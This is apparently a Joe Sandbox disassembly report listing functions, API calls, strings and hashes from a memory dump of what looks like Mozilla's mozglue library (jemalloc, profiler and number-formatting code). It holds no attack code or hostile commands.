Instruction ID: 5d6b0756170511c6fcdffa4e51db7e83c380b66d4621c7bbd9bf5d39ed7d8e01
Opcode Fuzzy Hash: 9847e6bf56908330f019fbd4beb3bb27f9a3395892dc9c89043fecf1268d959c
Instruction Fuzzy Hash: F0E180B5A043508BCB10CF68C84065BF7E9BBC5318F14492DE999AB790DB75DD098F92

Function 6C375FF0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C376009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C376024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q1l,?), ref: 6C376046
OutputDebugStringA.KERNEL32(?,Q1l,?), ref: 6C376061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C376069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C376073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C376082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C39148E), ref: 6C376091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q1l,00000000,?), ref: 6C3760BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C3760C4

Strings

$me/, xrefs: 6C375FFF
Q1l, xrefs: 6C375FFC, 6C376042, 6C376045, 6C3760B3

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: $me/$Q1l
API String ID: 3835517998-2870876669
Opcode ID: 54fc9811c1595ce4683e00455c845366b9034369c020669d85be05558e073699
Instruction ID: 7e64f5ae7beb3f2340c948f88740b4e86b54d5ff332b81e7aff178d86ae11b93
Opcode Fuzzy Hash: 54fc9811c1595ce4683e00455c845366b9034369c020669d85be05558e073699
Instruction Fuzzy Hash: F221B5B1A002189FDF205F25DC09ADE7BBCFF45618F008428E85A9B240DB76A548CFE6

Function 6C335E90 Relevance: 20.7, APIs: 5, Strings: 7, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2
memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C3361F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C337652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C337BCD, 6C337C1F, 6C337C34, 6C3380FD
$me/, xrefs: 6C335E9F
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C3372E3
ew7l, xrefs: 6C335E9C, 6C335F22, 6C3361ED
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C33730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C3372F8
MOZ_CRASH(), xrefs: 6C337BA4

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: $me/$MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew7l
API String ID: 2613674957-1866958122
Opcode ID: 8748cbf6b289716adb18f5084990eebd08fc6d9ee39d575302bdcd065856a4ec
Instruction ID: 5c41c250ea616c21d52d3bf52a8bd036f99d630dd57b8806fcf5e21ef6ab7b69
Opcode Fuzzy Hash: 8748cbf6b289716adb18f5084990eebd08fc6d9ee39d575302bdcd065856a4ec
Instruction Fuzzy Hash: 02337B71605751CFD308CF28C590615BBE2BF86328B29D6ADE8698F7A5D732E841CF81

Function 6C364820 Relevance: 20.0, APIs: 1, Strings: 10, Instructions: 744COMMON

Download Yara Rule

Strings

$me/, xrefs: 6C364831
schema, xrefs: 6C3648C1
-%llu, xrefs: 6C364825
9l, xrefs: 6C364F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C364D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C364DB8, 6C364DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C364D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C364CAF
ProfileBuffer parse error: %s, xrefs: 6C364DD9
data, xrefs: 6C3649B4

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free
String ID: 9l$$me/$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-2677422352
Opcode ID: ee6b7bc2dd0c1c434960bad793a4e622bb5350c1308a4d96fbcf4e61c1d3803b
Instruction ID: bde7ffac01b761a393368f205ba3a8e3f6901a7955e582d22bf580b1bea106f0
Opcode Fuzzy Hash: ee6b7bc2dd0c1c434960bad793a4e622bb5350c1308a4d96fbcf4e61c1d3803b
Instruction Fuzzy Hash: C0722B75918B858BC322CF34C45139BF7E5AFDA344F108B1EE5CA6BA11EB71A485CB42

Function 6C362E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C362ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C362EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C362F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C363214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C363242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3636BF

Strings

get , xrefs: 6C363205
set , xrefs: 6C3636EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C36378D

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 041fbabc00000e4b1cecd26ec0e48b6aa679d078bbf71eead83aec6a391ea68c
Instruction ID: a321d9afb77d73bfd2e0c38e42c19bc95f7bbc96a1e42fc16cc4300597bbfe5f
Opcode Fuzzy Hash: 041fbabc00000e4b1cecd26ec0e48b6aa679d078bbf71eead83aec6a391ea68c
Instruction Fuzzy Hash: 8B325CB06083818FD764CF25C49069EBBE2AFC9318F54881DE5D987B55DB31A84ACF53

Function 6C33D4D0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D4F2
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D50B

Part of subcall function 6C31CFE0: EnterCriticalSection.KERNEL32(6C39E784), ref: 6C31CFF6
Part of subcall function 6C31CFE0: LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C31D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D52E
EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C33D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33D6A6
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C33D712
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33D7EA

Strings

$me/, xrefs: 6C33C0F9, 6C33D4E2
<jemalloc>, xrefs: 6C33D827
: (malloc) Error initializing arena, xrefs: 6C33D82C

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: $me/$: (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-1584601735
Opcode ID: a530a6222fedfe760c70dc644b39b8f876a89c78d2cc1bb981897972ebfab889
Instruction ID: 6178f1498258d87295bc8735fbc91aaaf82e248d1312c0f3b7551b8f2f9102c1
Opcode Fuzzy Hash: a530a6222fedfe760c70dc644b39b8f876a89c78d2cc1bb981897972ebfab889
Instruction Fuzzy Hash: 1C91E371A147918FD714CF29C09472AB7E5FB89318F14992EE5AE87B80E731E844CF92

Function 6C374EA0 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C374EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C374F2E
moz_xmalloc.MOZGLUE ref: 6C374F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C374F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3752B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3752E6
Sleep.KERNEL32(00000010), ref: 6C375481
free.MOZGLUE(?), ref: 6C375498

Strings

$me/, xrefs: 6C374EAF
(, xrefs: 6C375250

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: $me/$(
API String ID: 4104871533-2137884192
Opcode ID: 15f6f1f4f3580825588dca53144c27fac43c0d61394990cd70886bcafa953585
Instruction ID: 8d70e9b15260c2134515d69a5de887e088fbea0166c8b274603d67a40d7e83e6
Opcode Fuzzy Hash: 15f6f1f4f3580825588dca53144c27fac43c0d61394990cd70886bcafa953585
Instruction Fuzzy Hash: 8FF1D371A19B018FC716CF39C85062BB7F9AFD6384F05872EF846A7651EB31D8468B81

Function 6C377030 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C377046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C377060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C37707E

Part of subcall function 6C3281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C3281DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C377096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C37709C
LocalFree.KERNEL32(?), ref: 6C3770AA

Strings

$me/, xrefs: 6C37703C
### ERROR: %s: %s, xrefs: 6C377087
(null), xrefs: 6C37706A, 6C377083

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$$me/$(null)
API String ID: 2989430195-3815321350
Opcode ID: b67d2d99b5d7a132c985a5e8362358fcddd29d5682ef5ea01951e999aea84f35
Instruction ID: db31e11eaf79b321619a0168cbef47bf994215f0add071e2527ebe0ab129964c
Opcode Fuzzy Hash: b67d2d99b5d7a132c985a5e8362358fcddd29d5682ef5ea01951e999aea84f35
Instruction Fuzzy Hash: 1B0179B2E00108AFDF145F65DC4ADEF7BBCEF49259F010425FA46A7241F67269148BA1

Function 6C339E50 Relevance: 14.9, APIs: 6, Strings: 2, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C339EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C339F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C339F34
LeaveCriticalSection.KERNEL32(?), ref: 6C33A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C33A8B1, 6C33A8D4, 6C33A8EF
$me/, xrefs: 6C339E60

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: $me/$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1257563908
Opcode ID: 6fd8225cf70d336c83c9ea618a863dae29dc2a5a2a8d00fec9d2f567fcee82fa
Instruction ID: b20077c3c24f31cb9b03c7e6b648565fb5d935d6bd0907b5d42dd2d0e9081068
Opcode Fuzzy Hash: 6fd8225cf70d336c83c9ea618a863dae29dc2a5a2a8d00fec9d2f567fcee82fa
Instruction Fuzzy Hash: A1726B72A056618FD704CF68C540615FBE1BF89328B29C76DE8A99F7A1D736E841CF80

Function 6C362C10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C362C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C362C61

Part of subcall function 6C314DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C314E5A
Part of subcall function 6C314DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C314E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C362C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C362E2D

Part of subcall function 6C3281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C3281DE

Strings

$me/, xrefs: 6C362C26, 6C362D08
(root), xrefs: 6C36354F
expected a Time entry, xrefs: 6C362E36
ProfileBuffer parse error: %s, xrefs: 6C362E3B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: $me/$(root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-2679099791
Opcode ID: 67a5be931ae6033d54a8f997f9dde074aabcd9b970f93f262e633f00c03f9f22
Instruction ID: b4a79faf7346b79a7ffdc32f452a9d689b6c7946ee3e68ef97bf3cad4f5ade95
Opcode Fuzzy Hash: 67a5be931ae6033d54a8f997f9dde074aabcd9b970f93f262e633f00c03f9f22
Instruction Fuzzy Hash: 0091CF706087408FC724CF26C49469EB7E5AF8A358F10491DE5DA8BB94EB31D549CF53

Function 6C379E30 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C379F3D
__aulldiv.LIBCMT ref: 6C379F77
__aullrem.LIBCMT ref: 6C379F8C
__aulldiv.LIBCMT ref: 6C37A023

Strings

$me/, xrefs: 6C379E3C
NaN, xrefs: 6C379EAB
-Infinity, xrefs: 6C379E60, 6C379E7B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: $me/$-Infinity$NaN
API String ID: 3839614884-1847949583
Opcode ID: 97eac59c81fa6e4edd91d371b0a379e0c7dd1876e1641d4d5f106476e492ae5e
Instruction ID: fb239883cea5ea0c4b764f1119220d6d53169e227af819335bad6c18a76df8d3
Opcode Fuzzy Hash: 97eac59c81fa6e4edd91d371b0a379e0c7dd1876e1641d4d5f106476e492ae5e
Instruction Fuzzy Hash: DCC19071E04318CBDB24CFA8C8507DEB7B6AB88318F144529D445ABB80D779E949CFE5

Function 6C31D4E0 Relevance: 12.1, Strings: 9, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C31DE7F
$me/, xrefs: 6C31D4F8
1, xrefs: 6C31DBDD
@, xrefs: 6C31DAF6
8, xrefs: 6C31DC08
, xrefs: 6C31DA88
-, xrefs: 6C31D7DD
0, xrefs: 6C31D852
0, xrefs: 6C31DC7F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID:
String ID: $$me/$-$0$0$1$8$9$@
API String ID: 0-2846082694
Opcode ID: c592c1c26722842598c83499c1c46c67cdb165f6eb26be59425cd0e0d3983cf2
Instruction ID: 887d9541ee8b8f1bc49a371b306a8a76cfecafe2707d221ac527b4a45cccda19
Opcode Fuzzy Hash: c592c1c26722842598c83499c1c46c67cdb165f6eb26be59425cd0e0d3983cf2
Instruction Fuzzy Hash: 7362997160C3858FD70ACE29C49075ABBF6AF87358F184A0DE4E54BE91C3369985CF92

Function 6C329F00 Relevance: 9.8, Strings: 7, Instructions: 1039COMMON

Download Yara Rule

Strings

$me/, xrefs: 6C329F18
@, xrefs: 6C32A625
' , xrefs: 6C32A3D8
1, xrefs: 6C32A824
0, xrefs: 6C32A100
9, xrefs: 6C32A5D6
0, xrefs: 6C32AB22

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID:
String ID: $me/$' $0$0$1$9$@
API String ID: 0-338593988
Opcode ID: 89ba1867864aa4301bf30e63bdb728e48c6ad1140dde33b4ea518ee4c4935021
Instruction ID: 19f3c95ce5465a3cdb268f4a2f97f8b744f1e775069c3cd2d758c2c2309b219f
Opcode Fuzzy Hash: 89ba1867864aa4301bf30e63bdb728e48c6ad1140dde33b4ea518ee4c4935021
Instruction Fuzzy Hash: BA82D1315093158FDF11CF09C4902AEB7F1FB85718F658A2AE8D557A90D33EA886CF92

Function 6C38545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C388A4B

Strings

~q1l, xrefs: 6C389459, 6C389269, 6C38921F, 6C385740, 6C385703, 6C3856C7, 6C38948F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memset
String ID: ~q1l
API String ID: 2221118986-2110660629
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: a1572309a693cf199404927a86c75e2171fa73d0bfe2f67807c01d99d1b954d0
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: E6B1E772E0221A8FDB14CF68CC907E9B7B6EF85314F1802A9C589EB785D7309985CF91

Function 6C38542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C3888F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C38925C

Strings

~q1l, xrefs: 6C389459, 6C389269, 6C38921F, 6C385740, 6C385703, 6C3856C7, 6C38948F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memset
String ID: ~q1l
API String ID: 2221118986-2110660629
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: b8def70219001be00f4b3a4594d5b699bf938279fc9ce2e8000663447e300a54
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: CBB1C572E0220A8FDB14CF68CC816ADB7B6EF85314F140269C949EB785D730A989CF91

Function 6C3677A0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C367A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C367A93

Part of subcall function 6C335C50: GetTickCount64.KERNEL32 ref: 6C335D40
Part of subcall function 6C335C50: EnterCriticalSection.KERNEL32(6C39F688), ref: 6C335D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C367AA1

Part of subcall function 6C335C50: __aulldiv.LIBCMT ref: 6C335DB4
